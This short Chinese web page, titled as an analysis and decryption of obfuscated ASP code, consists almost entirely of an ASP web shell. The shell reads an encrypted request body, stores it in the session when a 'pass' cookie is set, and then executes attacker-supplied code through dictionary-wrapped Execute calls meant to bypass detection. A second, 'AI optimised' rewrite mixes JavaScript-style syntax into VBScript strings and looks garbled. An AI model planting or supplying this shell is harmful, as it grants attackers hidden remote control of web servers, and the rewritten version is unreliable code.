ASP 混淆代码分析与解密
<% Set bypassDictionary = Server.CreateObject('Scripting.Dictionary')
Function decryption(content,isBin) dim size,i,result,keySize keySize = len(key) Set BinaryStream = CreateObject('ADODB.Stream') BinaryStream.CharSet = 'iso-8859-1' BinaryStream.Type = 2 BinaryStream.Open if IsArray(content) then size=UBound(content)+1 For i=1 To size BinaryStream.WriteText chrw(ascb(midb(content,i,1))) Next end if BinaryStream.Position = 0 if isBin then BinaryStream.Type = 1 decryption=BinaryStream.Read() else decryption=BinaryStream.ReadText() end if
End Function content = request.BinaryRead(request.TotalBytes) if len(request.Cookies.Item('pass'))>0 then if IsEmpty(Session('payload')) then content=decryption(content,false) Session('payload')=content response.End else bypassDictionary.Add 'payload',Session('payload') Execute(bypassDictionary('payload')) result=run(content) if not IsEmpty(result) then response.BinaryWrite result end if end if end if %>
<% Set randomName = Server.CreateObject('Scripting.Dictionary') randomName.Add 'bypassDictionary', Server.CreateObject('Scripting.Dictionary') randomName.Add 'decryption', 'function(content,isBin){dim size,i,result,keySize;keySize=len(key);Set BinaryStream=CreateObject('ADODB.Stream');BinaryStream.CharSet='iso-8859-1';BinaryStream.Type=2;BinaryStream.Open;if(IsArray(content)){size=UBound(content)+1;For i=1 To size;BinaryStream.WriteText chrw(ascb(midb(content,i,1)));Next};BinaryStream.Position=0;if(isBin){BinaryStream.Type=1;decryption=BinaryStream.Read();}else{decryption=BinaryStream.ReadText()}}' randomName.Add 'content', 'request.BinaryRead(request.TotalBytes)' randomName.Add 'pass', 'request.Cookies.Item('pass')' randomName.Add 'IsEmpty', 'Function(obj) {If IsNull(obj) Or IsEmpty(obj) Then IsEmpty=True Else IsEmpty=False End if}' randomName.Add 'Session', 'Server.CreateObject('Scripting.Dictionary')' randomName.Add 'response', 'response' randomName.Add 'run', 'Function(content) {Execute(content)}' For Each key In randomName.Keys Execute('Set ' & key & ' = ' & randomName(key)) Next
content = decryption(content,false) If Len(pass)>0 Then If IsEmpty(Session('payload')) Then content = decryption(content,false) Session('payload') = content response.End Else bypassDictionary('payload') = Session('payload') Execute(bypassDictionary('payload')) result = run(content) If Not IsEmpty(result) Then response.BinaryWrite result End If End If End If %>
AI 优化版
原文地址:https://www.cveoy.top/t/topic/lK0Q 著作权归作者所有。请勿转载和采集!